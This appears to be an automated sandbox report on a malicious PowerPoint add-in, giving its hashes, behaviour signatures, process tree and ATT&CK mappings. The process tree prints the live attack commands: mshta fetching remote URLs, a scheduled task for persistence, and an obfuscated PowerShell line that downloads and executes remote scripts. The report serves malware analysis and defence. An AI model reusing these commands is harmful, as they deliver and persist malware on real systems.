Overview

overview

10

Static

static

5 - Cop'pdf.ppam

windows7_x64

10

5 - Cop'pdf.ppam

windows10_x64

10

Analysis

  • max time kernel
    600s
  • max time network
    600s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    09-11-2021 01:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5 - Cop'pdf.ppam

  • Size

    9KB

  • MD5

    b9d1df2b77e53cb16cf16d49fc58a389

  • SHA1

    781d0110c515b97e6e59a32553ffede3b348c4c7

  • SHA256

    7f34a31e373c251feb722cb17aba6d8f2d2cafe646a0c2cd584f75f99b526d53

  • SHA512

    0f7d99c2ebb24a005c6aa7a5b76fa438123639466741452f48baff058c615e583405c1ef692bf8d127a184d25956bbe7b5fe7b95e47eae94f56f0a09848c3f09

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\5 - Cop'pdf.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1476
      • C:\windows\SysWOW64\mshta.exe
        C:\windows\system32\calc.exe\..\mshta https://www.bitly.com/wjdwdowdwowdkodwkdwkodj
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1644
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 54 /tn ""Bdwkdowkdodjshi"" /F /tr ""\""MsHtA""\""https://kumakahchachi.blogspot.com/p/1.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1712
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_4b7324beb1a240e49f08e6104a1733ca.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_fc5a86b5bbf04b85bfa6252048ea74b7.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:892

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Discovery

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/892-64-0x0000000000000000-mapping.dmp
      Download
    • memory/892-66-0x0000000000580000-0x0000000000581000-memory.dmp
      Filesize

      4KB

      Download
    • memory/892-67-0x0000000000581000-0x0000000000582000-memory.dmp
      Filesize

      4KB

      Download
    • memory/892-68-0x0000000000582000-0x0000000000584000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1476-58-0x0000000000000000-mapping.dmp
      Download
    • memory/1476-60-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1644-61-0x0000000000000000-mapping.dmp
      Download
    • memory/1712-63-0x0000000000000000-mapping.dmp
      Download
    • memory/1868-55-0x00000000749E1000-0x00000000749E5000-memory.dmp
      Filesize

      16KB

      Download
    • memory/1868-56-0x0000000071BB1000-0x0000000071BB3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1868-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1868-59-0x0000000076A21000-0x0000000076A23000-memory.dmp
      Filesize

      8KB

      Download